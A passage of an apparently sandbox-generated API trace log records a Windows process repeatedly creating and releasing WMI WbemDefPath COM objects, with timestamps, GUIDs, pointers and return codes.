Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0120.157] WbemDefPath:IUnknown:Release (This=0x37b4a8) returned 0x2 [0120.157] WbemDefPath:IUnknown:Release (This=0x37b4a8) returned 0x1 [0120.162] SetEvent (hEvent=0x3f0) returned 1 [0126.669] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f278) returned 0x0 [0126.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f278, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.670] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f278, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b5f8) returned 0x0 [0126.670] WbemDefPath:IUnknown:Release (This=0x5c4f278) returned 0x0 [0126.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b5f8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b5f8) returned 0x0 [0126.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b5f8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.670] WbemDefPath:IUnknown:AddRef (This=0x37b5f8) returned 0x3 [0126.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b5f8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b5f8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b5f8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f298) returned 0x0 [0126.670] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.670] WbemDefPath:IUnknown:Release (This=0x5c4f298) returned 0x3 [0126.670] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.671] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b5f8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.671] WbemDefPath:IUnknown:Release (This=0x37b5f8) returned 0x2 [0126.671] WbemDefPath:IUnknown:Release (This=0x37b5f8) returned 0x1 [0126.671] SetEvent (hEvent=0x4d4) returned 1 [0126.975] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f368) returned 0x0 [0126.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f368, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.975] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f368, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b668) returned 0x0 [0126.975] WbemDefPath:IUnknown:Release (This=0x5c4f368) returned 0x0 [0126.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b668) returned 0x0 [0126.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.976] WbemDefPath:IUnknown:AddRef (This=0x37b668) returned 0x3 [0126.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f378) returned 0x0 [0126.976] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f378, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.976] WbemDefPath:IUnknown:Release (This=0x5c4f378) returned 0x3 [0126.976] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.976] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.976] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x2 [0126.976] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x1 [0126.976] SetEvent (hEvent=0x4d8) returned 1 [0126.978] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f368) returned 0x0 [0126.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f368, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.978] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f368, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b6d8) returned 0x0 [0126.978] WbemDefPath:IUnknown:Release (This=0x5c4f368) returned 0x0 [0126.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b6d8) returned 0x0 [0126.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.978] WbemDefPath:IUnknown:AddRef (This=0x37b6d8) returned 0x3 [0126.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f388) returned 0x0 [0126.978] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f388, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.978] WbemDefPath:IUnknown:Release (This=0x5c4f388) returned 0x3 [0126.978] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.978] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.979] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x2 [0126.979] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x1 [0126.979] SetEvent (hEvent=0x4dc) returned 1 [0126.982] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f368) returned 0x0 [0126.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f368, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.982] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f368, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b748) returned 0x0 [0126.982] WbemDefPath:IUnknown:Release (This=0x5c4f368) returned 0x0 [0126.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b748) returned 0x0 [0126.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.982] WbemDefPath:IUnknown:AddRef (This=0x37b748) returned 0x3 [0126.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f398) returned 0x0 [0126.982] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f398, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.982] WbemDefPath:IUnknown:Release (This=0x5c4f398) returned 0x3 [0126.983] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.983] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.983] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x2 [0126.983] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x1 [0126.983] SetEvent (hEvent=0x4e0) returned 1 [0126.987] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f3f8) returned 0x0 [0126.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f3f8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.988] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f3f8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b7b8) returned 0x0 [0126.988] WbemDefPath:IUnknown:Release (This=0x5c4f3f8) returned 0x0 [0126.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b7b8) returned 0x0 [0126.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.988] WbemDefPath:IUnknown:AddRef (This=0x37b7b8) returned 0x3 [0126.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f408) returned 0x0 [0126.989] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f408, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.989] WbemDefPath:IUnknown:Release (This=0x5c4f408) returned 0x3 [0126.989] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.989] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.989] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x2 [0126.989] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x1 [0126.989] SetEvent (hEvent=0x4e4) returned 1 [0126.991] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f3f8) returned 0x0 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f3f8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.991] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f3f8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b828) returned 0x0 [0126.991] WbemDefPath:IUnknown:Release (This=0x5c4f3f8) returned 0x0 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b828) returned 0x0 [0126.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.992] WbemDefPath:IUnknown:AddRef (This=0x37b828) returned 0x3 [0126.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f418) returned 0x0 [0126.992] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f418, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, 